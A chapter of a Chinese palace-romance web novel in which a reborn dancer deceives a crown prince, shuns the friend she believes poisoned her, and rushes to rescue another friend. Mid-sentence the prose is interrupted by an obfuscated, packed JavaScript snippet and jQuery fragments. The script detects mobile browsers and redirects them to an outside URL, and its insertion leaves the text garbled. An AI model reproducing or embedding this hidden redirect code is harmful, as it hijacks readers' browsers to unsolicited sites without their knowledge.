3. 第3章

作品:《陛下,不要偷看臣妾手札

    可是她要如何解释这纹样的来源?


    姜韵宁无意识间舔了舔唇,殷红如蔻丹的粉唇被舌尖轻轻扫过,像初春刚绽的桃花瓣,软嫩得似一碰就会渗出水来。


    萧砚辞眼眸渐深,他能看出来,她在绞尽脑汁地想借口,明明眼神澄澈纯净,可是无意识间的动作却妖媚惑人。


    这样天下难得一见的美人,不知是谁处心积虑地调教,然后送了过来。


    萧砚辞心中紧绷的弦倏然被松了一个度,他忽然觉得,他可以再多一些耐心。


    左右不过是想往东宫里塞人,如今大局已定,皇帝年迈体内毒素淤积,他即将坐拥天下,何必惧怕一介舞女。


    不论是蛊惑人心的山中精怪,还是居心叵测的世人心思,在至高的权力面前,都无所遁形。


    他用不着这样防备。


    萧砚辞眸中冷意渐渐散去,弯腰去扶她,温声道:“好了,你让观音菩萨今夜再给你托梦,那你就暂时住孤的别院,明日再跟我说,你是否找到贵人了。”


    褚安在屏风后面,听着姜韵宁的嚎啕大哭慢慢止住了。


    她小心翼翼的确认:“真的吗,殿下?”


    褚安叹气,此女子疯疯癫癫,殿下为了弄明白背后的人,还真不容易。


    萧砚辞点头:“真的,太医给你熬了药,一会儿喝完药就睡吧。”


    “我想让殿下在旁边看着我。”姜韵宁抽噎道,又生怕他拒绝,补充:“我认床,还怕生,有您的真龙之气在,我就能安然入睡。”


    上辈子,萧砚辞就是这样对她说的。


    她刚从东宫侍妾变成后宫贵嫔的时候,换了个很大的寝宫,空荡荡的,晚上经常惊醒。


    萧砚辞只能夜夜过来陪她,后来觉得耽误早朝,干脆直接让姜韵宁每晚去乾清宫睡。


    刚好皇后提醒过她,让她不要独占圣宠,姜韵宁有些犹豫。


    萧砚辞知道后却问她:“姜韵宁,朕是谁?”


    姜韵宁不知他为何明知故问,但还是像小鸟一样一下一下地啄在他的唇上,两只手不安分地在他身上乱摸:“陛下是臣妾的夫君呀,是臣妾最喜欢的人!”


    萧砚辞捉住她的小手,眼眸深沉:“朕是皇帝,有真龙之气保护你,你离朕那么远,如何能保护你?”


    “况且,景仁宫那么空旷,前朝的嫔妃听说有很多自尽的......”


    吓得姜韵宁脸色一变,眼泪就要出来,在他胸口上捶一拳头:“那陛下还让臣妾住那里!”


    萧砚辞轻笑起来,并未理会她的责打:“所以你现在还要回去吗?”


    姜韵宁当然不,立刻让婢女打包东西,自此长住在了乾清宫。


    皇后和淑妃曾有怨言,但萧砚辞不知怎么处理的,最终也没有让她再回去。


    萧砚辞不知道姜韵宁从哪里听的这种歪理,他的耐心已经被她的眼泪耗尽了,只能说:“孤晚上还有事要处理,你的婢女会在一旁陪着你。”


    “或者你想要舞班中的谁过来......”


    姜韵宁猛地摇头,“不要,我谁都不要,如果殿下要走的话,那就让如意过来吧。”


    可是话是这样说的,她的手却一直攥住萧砚辞的衣摆,就像是刚出生的小鸟一样,依恋着自己的母亲,不让他走。


    萧砚辞自小长到大,有数不尽的人初见时惊艳于于他的样貌,随后升起爱慕、沉迷之心,就比如忠勇伯府嫡女易婉然,痴迷于他,做了许多上不得台面的事。


    他知道自己俊美,但是第一次见面就拿这种孺慕的眼光看着他的,只有姜韵宁一个人。


    萧砚辞心中怪异,提醒她:“孤要起身了。”


    她再不让开,就会被他踢倒在地。


    恰逢如意端着汤药过来,经褚安同意后,越过山水屏风连忙垂首向太子行礼,随后扶起姜韵宁:“小姐,地上这么凉,您怎么不穿鞋就下床了。”


    姜韵宁撑着如意的手站了起来,纱裙被提起,一双莹白小巧的脚袒露在了外面。


    萧砚辞视线扫过,眼眸微动,但没说什么,面不改色地径直转身离去。


    他再给她一晚的时间,好好想想,到底要如何解释纹样之事。


    *


    如意扶着姜韵宁上了床,将太医煎好的药端过来喂她喝下,这药不知为何怎么这么苦,苦得姜韵宁整张小脸皱了起来。


    如意已经拿蜜饯备着了,看她这样赶紧递过去,等姜韵宁面容稍微缓和一些,这才高兴道:“小姐,希蓉小姐等会儿想过来看您。”


    闻言,姜韵宁顾不上口中尚未咽下的蜜饯,猛地抬头看她,神情有些激动:“她怎么知道我在这里?”


    “奴婢去拿药时,恰好碰到希蓉小姐在找您,就顺便说了一下。”


    “不过您放心,奴婢只说您是在空厢房养病,没说是在殿下这里。”


    如意不明白为什么小姐会是这种反应,她接过药碗有些无措道:“希蓉小姐惯会照顾人,有她陪着您,您兴许能安稳些,不再做噩梦了。”


    “您这是怎么了?和希蓉小姐闹矛盾了吗?”


    如意眼中的疑惑如此真切,姜韵宁知道,所有舞班的人都和她一样,认为柳希蓉是爱护她的,绝不会有伤害她的心思。


    更何况,前世之事荒诞不经,说出去也不会有人信,更别提是柳希蓉买回来一手调教的如意了。


    姜韵宁心中憋闷,只能攥紧手指强迫自己冷静下来,将自己闷进被子里:“我不见,就说我睡着了,不要让她进来。”


    自从昨夜,主子就很排斥舞班的人,如意问不出缘由,只能叹气应是,端着碗出去了。


    “那您好好休息。”


    刚打开门,就依稀听到了外面似乎有柳希蓉的声音:“请问韵宁是在这里吗?”


    姜韵宁倏然掀开被子,眼眸直直的看向门外,对尚站在门口的如意说:“让她滚!”


    她眼中闪过恨意,柳希蓉不光是杀人凶手,还恩将仇报,忘恩负义,等找到机会,她要柳希蓉死!


    如意被姜韵宁可怖的神色吓了一跳,自家小姐一直都是笑着的,灵动可爱,如今怎么会对柳希蓉如此敌意?


    如意想不到别的理由,肯定是希蓉小姐私下做了什么事情伤害到小姐了,一时之间,如意心中对柳希蓉也有些不喜。


    虽然柳希蓉是调教自己的人,但是所谓调教,不过是教她一些舞班的规矩,伺候人的规矩。


    特别是刚被柳希蓉买来那段时间,她动辄罚她们一众新奴站着,将小事扩大化,喜欢彰显自己的权威。


    但这都是小事,只是对下人的态度罢了,她观察过,柳希蓉对舞班同等地位的姐妹还是好的。


    如意只能安慰自己,主人与下人,当然是不一样的,只是后面她指定去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224015|197533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    服侍姜韵宁,可能是姜韵宁年纪小,也可能是她心底善良,总之在她那里,所有人都是一样的,她真正的把自己当成一个平等的人看待。


    即使是奴隶的心,也是肉做的,久而久之,如意自然凡事偏向姜韵宁。


    见现下自家小姐一张小脸苍白,明明还在病中,却因为柳希蓉而惊恐、而愤怒,仿佛霜打过后的残荷,如意心中怜惜,连忙去回绝了柳希蓉。


    如意关上了门,房内光线陡然暗了下来,恍若就是将那杯毒酒挡在了外面,就连屋内空气都清新了一些,原本如同一座大山压在姜韵宁心中的不安与恐慌,烦躁与戾气,渐渐地又平息了下来。


    毒酒的滋味实在是她生平仅能想象的痛楚,痛到她七窍生烟只想给自己来一刀,可是她倒下后,沈瑗说去喊太医,迟迟未归,柳希蓉说要去拿新的酒杯,久久未还。


    她就那样,生生被疼死了。


    这实在痛苦,所以姜韵宁知道,即使没有与柳希蓉见面,但是只要这个人还存在在世界上,她就会不断的联想到自己的死。


    所以在去凉亭的路上,她就已经想清楚了,柳希蓉一定要死。只是她现在无权无势,此事还得等进入东宫之后。


    萧砚辞身为太子光风霁月,肯定不能容忍他的妃子心肠歹毒,所以她不能让他知道,还得另寻一隐秘办法....


    姜韵宁自认不聪明,苦思冥想都想不到什么方法,越想,反而她脑中越难受,药物作用下,浑身更是冷汗连连,头痛欲裂。


    只是这时,与柳希蓉打了照面后的如意得了消息,又满脸愁容的进来了:“小姐,美菱不见了!”


    姜韵宁浑身失了力气一般躺在床上,猛地听这个名字了,一时竟想不起来,她虚弱的朝如意望去,并未言语。


    如意倒是很快就解释了:“刚才希蓉姑娘说她去打水,之后就再也没回来,只看到了路上的一个水桶。”


    说起打水,姜韵宁想起来了。


    前世的她这个时候苦于忠勇伯府世子的纠缠,每日苦练舞,听到美菱的死讯时,已经是第二日了。


    美菱打水路上不小心将水撒到了忠勇伯府嫡女易婉然身上,结果被下人直接带走毒打了一顿。


    打的奄奄一息,最终被抬回舞班,咽了最后一口气。


    不行,美菱心底纯善,是她世间仅存的掏心掏肺的好姐妹,决不能再向上辈子一样死了。


    不知是从哪里来的力气,姜韵宁猛地从榻上坐了起来,吩咐如意:“带我去找易婉然!”


    “啊?易婉然是谁?”如意有些惊讶,没理解过来,但是姜韵宁已经站了起来,如意连忙给她穿衣。


    不知道怎么跟如意解释,索性不解释了,路上姜韵宁不停祈祷,希望她来得及,不然她真的要懊悔一辈子。


    如果说柳希蓉是长姐一样照顾她,那么美菱就是她的小伙伴,小时候两个人一起爬树捉蟋蟀,长大了以后更是组伴练双人舞。


    她竟然一心想着萧砚辞,想着柳希蓉这个仇人,将美菱忘了!


    常年去永安寺供奉的香客都有自己的临时住房,易婉然的住房肯定就是其中最大的一间了,姜韵宁不必多想,一路连走带跑的到院门口时,恰好能听到里面传出的闷闷的敲打声。


    姜韵宁当即怒火中烧要闯进去,旁边的侍卫一把佩刀拔了出来:“你是何人,此处不是你该去的地方!”